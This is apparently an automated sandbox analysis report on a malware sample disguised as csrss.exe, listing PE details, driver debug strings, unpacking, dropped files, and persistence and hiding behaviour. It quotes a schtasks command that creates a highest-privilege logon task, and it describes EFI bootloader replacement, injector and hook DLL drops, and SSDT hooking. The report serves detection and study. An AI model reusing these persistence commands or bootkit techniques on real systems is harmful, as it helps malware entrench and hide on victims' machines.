Static PE information: Raw size of .text is bigger than: 0x100000 < 0x434600

Source: csrss.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: csrss.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: csrss.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Loader.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: csrss.exe
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: csrss.exe
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363797904.0000000005408000.00000004.00000001.sdmp
Source:	Binary string: symsrv.pdbGCTL source: csrss.exe, 00000000.00000003.319590616.0000000005603000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.335427805.0000000004D54000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000002.00000002.361147879.0000000004D54000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.338789732.0000000005603000.00000004.00000001.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363797904.0000000005408000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 0.2.csrss.exe.400000.1.unpack
Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 2.2.csrss.exe.400000.3.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 11.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.3.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 27.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 41.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 44.2.csrss.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 0.2.csrss.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 2.2.csrss.exe.400000.3.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 11.2.csrss.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.3.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 27.2.csrss.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 41.2.csrss.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 44.2.csrss.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;

Source: windefender.exe.11.dr	Static PE information: section name: UPX2
Source: injector.exe.11.dr	Static PE information: section name: _RDATA
Source: bootmgfw.efi.11.dr	Static PE information: section name: .xdata
Source: bootx64.efi.11.dr	Static PE information: section name: .xdata
Source: EfiGuardDxe.efi.11.dr	Static PE information: section name: .xdata
Source: NtQuerySystemInformationHook.dll.11.dr	Static PE information: section name: _RDATA

Source: EfiGuardDxe.efi.11.dr	Static PE information: real checksum: 0x4a5a6 should be: 0x51a75
Source: bootmgfw.efi.11.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: bootx64.efi.11.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: injector.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x54ea2
Source: windefender.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x20ae45
Source: NtQuerySystemInformationHook.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x2279d

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior:

Creates files in the system32 config directory

Show sources

Source: C:\Windows\System32\netsh.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\PeerDistRepub

Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\System32\fodhelper.exe

Executable created and started: C:\Windows\rss\csrss.exe

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\csrss.exe

File created: C:\Windows\rss\csrss.exe

Jump to dropped file

Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file

Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Jump to dropped file
Source: C:\Users\user\Desktop\csrss.exe	File created: C:\Windows\rss\csrss.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\csrss.exe	File created: C:\Windows\rss\csrss.exe			Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe			Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\csrss.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run DawnWater

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

Source: C:\Users\user\Desktop\csrss.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run DawnWater			Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run DawnWater			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

May modify the system service descriptor table (often done to hook functions)

Show sources

Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable

Source: C:\Users\user\Desktop\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
